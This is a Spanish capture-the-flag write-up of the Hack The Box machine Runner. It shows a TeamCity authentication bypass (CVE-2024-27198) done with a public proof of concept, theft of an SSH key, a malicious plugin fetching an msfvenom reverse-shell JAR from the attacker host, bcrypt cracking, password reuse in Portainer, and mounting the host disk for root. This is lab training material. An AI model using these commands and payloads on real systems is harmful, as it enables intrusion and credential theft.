Descripción
Runner es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de subdominios para encontrar una instancia de TeamCity
- Vulnerabilidad de TeamCity CVE-2024-27198 que permite la creación de cuenta administrativa de forma no autenticada
- Exportación de la clave privada SSH
id_rsade un usuario Linux exportando un proyecto de TeamCity - Enumeración del sistema Linux para encontrar una instancia de Portainer
- Ejecución remota de comandos en TeamCity usando un plugin malicioso para obtener acceso a la base de datos
- Recuperación de una contraseña de TeamCity a través de su hash para obtener acceso a la instancia de Portainer
- Escalada de privilegios mediante la montura de un dispositivo de bloques como un volumen en un contenedor con Portainer
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.81.22.
$ ping -c 3 10.129.81.22
PING 10.129.81.22 (10.129.81.22) 56(84) bytes of data.
64 bytes from 10.129.81.22: icmp_seq=1 ttl=63 time=52.4 ms
64 bytes from 10.129.81.22: icmp_seq=2 ttl=63 time=54.6 ms
64 bytes from 10.129.81.22: icmp_seq=3 ttl=63 time=57.6 ms
--- 10.129.81.22 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 52.377/54.881/57.626/2.149 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.81.22 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.81.22
Host is up (0.052s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
Conseguimos tres puertos abiertos, 22, 80 y 8000.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.81.22 -sV -sC -p22,80,8000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-20 21:05 CEST
Nmap scan report for 10.129.81.22
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.71 seconds
Obtenemos tres servicios: un Secure Shell (SSH) y dos Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio está hospedando un sitio web, nos redirecciona al dominio runner.htb, por lo que lo agregamos a nuestra lista de /etc/hosts.
$ echo "10.129.81.22 runner.htb" | sudo tee -a /etc/hosts
El servidor web en el puerto 80 es una página de muestra sin funcionalidad sobre especialistas en CI/CD funcionando en un nginx 1.18.0.
Si revisamos el servicio web en puerto 8000 obtenemos un Error 404 Not Found.
$ curl -v http://10.129.81.22:8000
* Trying 10.129.81.22:8000...
* Connected to 10.129.81.22 (10.129.81.22) port 8000
> GET / HTTP/1.1
> Host: 10.129.81.22:8000
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Content-Length: 9
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 10.129.81.22 left intact
Not found
Si enumeramos los directorios en el servicio web encontramos dos, /version y /health.
$ gobuster dir -u http://runner.htb:8000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration_800
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://runner.htb:8000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/version (Status: 200) [Size: 9]
/health (Status: 200) [Size: 3]
El de /version nos devuelve la versión 0.0.0-src, y el de /health devuelve OK
$ curl http://10.129.81.22:8000/version
0.0.0-src
$ curl http://10.129.81.22:8000/version
0.0.0-src
Si buscamos en la web la versión encontramos que el servicio puede corresponder a Chisel, un túnel TCP/UDP utilizado como proxy, encontramos referencias a los dos puntos finales en el código fuente. Si tratamos de conectarnos al servidor Chisel, encontramos un error.
$ chisel client 10.129.81.22:8000 80
client: Connecting to ws://10.129.81.22:8000
client: tun: proxy#80=>80: Listening
client: Authentication failed
client: Connection error: ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
Volviendo a la página de muestra, encontramos que el equipo de negocios está utilizando TeamCity, un servidor de gestión de desarrollo e integración continua de JetBrains.
Si lo comprobamos, existe el subdominio teamcity.runner.htb, por lo que lo añadimos al archivo hosts.
$ echo "10.129.81.22 teamcity.runner.htb" | sudo tee -a /etc/hosts
El servicio se encuentra en el puerto 80. Tenemos un formulario de inicio de sesión, y la versión utilizada es 2023.05.3.
En las versiones de JetBrains TeamCity previas a 2023.11.4, es posible evitar la autenticación permitiendo realizar acciones de administrador, CVE-2024-27198.
Explotación
Para explotar esta vulnerabilidad, tenemos un PoC hecho por W01fh4cker, sólo tenemos que proporcionar la URL del servidor.
$ git clone https://github.com/W01fh4cker/CVE-2024-27198-RCE
$ cd CVE-2024-27198-RCE
$ python -m virtualenv cve
$ source cve/bin/activate
$ pip install requests faker
$ python CVE-2024-27198-RCE.py -t http://teamcity.runner.htb
_____ ____ _ _ ____ ____ _____
|_ _|__ __ _ _ __ ___ / ___(_) |_ _ _ | _ \ / ___| ____|
| |/ _ \/ _` | '_ ` _ \| | | | __| | | | | |_) | | | _|
| | __/ (_| | | | | | | |___| | |_| |_| | | _ <| |___| |___
|_|\___|\__,_|_| |_| |_|\____|_|\__|\__, | |_| \_\\____|_____|
|___/
Author: @W01fh4cker
Github: https://github.com/W01fh4cker
[+] User added successfully, username: uc0qzwmq, password: cYDWPc0Kq4, user ID: 11
[+] The target operating system version is linux
[+] Please start executing commands freely! Type <quit> to end command execution
Un usuario, uc0qzwmq y una contraseña, cYDWPc0Kq4, se genera con privilegios de administrador.
Encontramos a los usuarios Matthew (matthew) y John (admin) en el menú Administration > User Management > Users.
Encontramos un projecto llamado All-Projects, pulsamos en él y en el botón Edit project....
Después de eso, encontramos el menú SSH Keys con una clave de SSH id_rsa.
Sólo podemos copiar la clave pública. Si queremos la clave privada, necesitamos exportar todo el proyecto, haciendo clic en Actions > Export project y a continuación en Export.
Obtenemos un archivo ZIP llamado TeamCity_AllProjects.zip. Si lo extraemos encontraremos la clave SSH en el directorio config/projects/AllProjects/pluginData/ssh_keys/.
$ unzip TeamCity_AllProjects.zip
Archive: TeamCity_AllProjects.zip
inflating: charset
inflating: version.txt
inflating: config/projects/_Root/project-config.xml
inflating: config/projects/AllProjects/project-config.xml
inflating: config/projects/AllProjects/pluginData/ssh_keys/id_rsa
inflating: report.log
$ cp config/projects/AllProjects/pluginData/ssh_keys/id_rsa .
Con los usuarios encontrados anteriormente, encontramos que podemos iniciar sesión utilizando el servicio SSH utilizando el nombre de usuario john. Tenemos acceso a la máquina.
$ ssh john@runner.htb -i id_rsa
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
...
john@runner:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
Post-Explotación
Encontramos a matthew y a root como usuarios de console.
john@runner:~$ grep "bash" /etc/passwd
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
Enumerando los servidores web en la máquina, encontramos un servicio Portainer funcionando en el subdominio portainer-administration.runner.htb, es un software utilizado para gestionar contenedores como Docker.
john@runner:~$ ls /etc/nginx/sites-enabled/
default portainer teamcity
john@runner:~$ cat /etc/nginx/sites-enabled/portainer
server {
listen 80;
server_name portainer-administration.runner.htb;
location / {
proxy_pass https://localhost:9443;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Así que lo añadimos a nuestro archivo hosts.
$ echo "10.129.81.22 portainer-administration.runner.htb" | sudo tee -a /etc/hosts
Necesitamos un nombre de usuario y una contraseña para iniciar sesión.
Encontramos que la configuración de Portainer se encuentra en el directorio /data. El usuario john solo tiene permisos para leer el archivo /data/teamcity_server/logs/teamcity-wrapper.log y para mostrar el listado de archivos de la carpeta /data/teamcity_server/ (cuya propiedad es de matthew). Los otros archivos son propiedad de root.
john@runner:~$ ls -la /data/
total 132
drwxr-xr-x 9 root root 4096 Feb 28 10:31 .
drwxr-xr-x 19 root root 4096 Apr 4 10:24 ..
drwx------ 2 root root 4096 Feb 28 07:51 bin
drwx------ 2 root root 4096 Feb 28 07:51 certs
drwx------ 2 root root 4096 Feb 28 07:51 chisel
drwx------ 2 root root 4096 Feb 28 07:51 compose
drwx------ 2 root root 4096 Feb 28 07:51 docker_config
-rw------- 1 root root 131072 Feb 28 07:51 portainer.db
-rw------- 1 root root 227 Feb 28 07:51 portainer.key
-rw------- 1 root root 190 Feb 28 07:51 portainer.pub
drwxr-xr-x 4 root root 4096 Feb 28 10:31 teamcity_server
drwx------ 2 root root 4096 Feb 28 07:51 tls
john@runner:~$ ls -la /data/teamcity_server/
total 16
drwxr-xr-x 4 root root 4096 Feb 28 10:31 .
drwxr-xr-x 9 root root 4096 Feb 28 10:31 ..
drwxr-xr-x 6 matthew matthew 4096 Apr 18 09:04 datadir
drwxr-xr-x 7 matthew matthew 4096 Apr 19 03:00 logs
Con los privilegios del administrador en TeamCity, podemos subir un plugin malicioso para ganar la ejecución remota de comandos. Tenemos un guía de kacperszurek. Primero descargamos el plugin malicioso y lo subimos a la aplicación a través del menú Administration > Server Administration > Plugins y el botón Upload plugin zip. Después de la carga se nos solicitará reiniciar el servidor. Lo haremos.
Entonces, con el plugin instalado podemos ejecutar cualquier archivo JAR malicioso que alojemos en un servidor HTTP yendo a la página del plugin. En el parámetro file_url especificaremos la URL de nuestra carga maliciosa y en el file_path especificamos el nombre del archivo JAR guardado.
URL para la ejecución del plugin:
http://teamcity.runner.htb/demoPlugin.html?file_url=http://10.10.14.61/malicious.jar&file_path=malicious.jar
Antes de ver la página vamos a generar la terminal inversa en JAR, crearemos el servidor HTTP y abriremos el puerto de escucha.
$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.61 LPORT=1234 -f raw > reverse.jar
$ python -m http.server 80
$ nc -nvlp 1234
Después de visitar la página, recibiremos la terminal inversa.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.61] from (UNKNOWN) [10.129.81.22] 50820
id
uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser)
Actualizaremos la terminal.
script /dev/null -c bash
Script started, file is /dev/null
Welcome to TeamCity Server Docker container
* Installation directory: /opt/teamcity
* Logs directory: /opt/teamcity/logs
* Data directory: /data/teamcity_server/datadir
TeamCity will be running under 'tcuser' user (1000/1000)
tcuser@647a82f29ca0:~/bin$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
tcuser@647a82f29ca0:~/bin$ stty rows 48 columns 156; export TERM=xterm; export SHELL=bash
Ahora, en el contenedor Docker, tenemos acceso al directorio /data.
tcuser@647a82f29ca0:/data$ ls -l
total 4
drwxr-xr-x 3 root root 4096 Aug 24 2023 teamcity_server
Tenemos la configuración de la base de datos de TeamCity en el archivo /data/teamcity_server/datadir/config/database.properties.
tcuser@647a82f29ca0:/data$ cat /data/teamcity_server/datadir/config/database.properties
#Wed Feb 28 10:37:02 GMT 2024
connectionUrl=jdbc\:hsqldb\:file\:$TEAMCITY_SYSTEM_PATH/buildserver
Es una base de datos hsqldb que se encuentra en /data/teamcity_server/datadir/system/buildserver.
tcuser@647a82f29ca0:/data$ ls -1 /data/teamcity_server/datadir/system/buildserver*
/data/teamcity_server/datadir/system/buildserver.data
/data/teamcity_server/datadir/system/buildserver.lck
/data/teamcity_server/datadir/system/buildserver.log
/data/teamcity_server/datadir/system/buildserver.properties
/data/teamcity_server/datadir/system/buildserver.script
En el archivo buildserver.log encontramos el hash de la contraseña del usuario matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em.
tcuser@647a82f29ca0:/data/teamcity_server/datadir/system$ grep "INSERT INTO USERS" buildserver.log
INSERT INTO USERS VALUES(2,'matthew','$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em','Matthew','matthew@runner.htb',1713652620426,'BCRYPT')
Podemos recuperar la contraseña del hash utilizando la herramienta John the Ripper.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123 (matthew)
1g 0:00:00:17 DONE 0.05757g/s 3001p/s 3001c/s 3001C/s rebecka..mogwai
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Encontraremos la contraseña para el usuario matthew, piper123. Si regresamos a Portainer vemos que el nombre de usuario y la contraseña se reutilizan para este servicio, por lo tanto obtenemos acceso.
Podemos montar el dispositivo de bloques del sistema anfitrión en un contenedor creando un volumen. Primero necesitamos encontrar nuestro dispositivo de bloques, en este caso /dev/sda2.
john@runner:/etc$ mount | grep sda
/dev/sda2 on / type ext4 (rw,relatime)
Ahora, en Portainer, vamos a Volumes > Add volume. Como es un dispositivo ext4 añadiremos las opciones del driver type con ext4 y devices con /dev/sda2. Luego creamos el volumen.
Con el volumen creado creamos el contenedor con permisos de root que tendrá acceso al volumen. Vamos a Containers > Add container. Seleccionamos la imagen ubuntu:latest (está disponible en la pestaña Images).
Después de eso, en Advanced container settings al final de la página seleccionamos la opción Console con Interactive & TTY (-i -t) para tener acceso interactivo a la terminal del contenedor desde Portainer.
Finalmente, en la pestaña Volumes próxima a Command & Logging vinculamos nuestro volumen pulsando en el botón map additional volume. Con la variable container fijamos la ruta para acceder al volumen desde el contenedor (por ejemplo /runner) y con la variable volume seleccionamos el volumen que hemos creado.
Podemos desplegar el contenedor con Deploy the container. Después de que se despliege podemos acceder a una terminal interactiva haciendo clic en el icono del portapapeles (Attach Console). Si cambiamos al directorio /runner tendremos acceso completo al disco duro del anfitrión.
root@8d170754f7b1:/# cd /runner/
root@8d170754f7b1:/runner# ls
bin data etc lib lib64 lost+found mnt proc run srv tmp var
boot dev home lib32 libx32 media opt root sbin sys usr
Flags
Ahora podemos obtener la flag de root en el subdirectorio root y la flag de usuario en el subdirectorio home/john.
root@8d170754f7b1:/runner# cat home/john/user.txt
<REDACTED>
root@8d170754f7b1:/runner# cat root/root.txt
<REDACTED>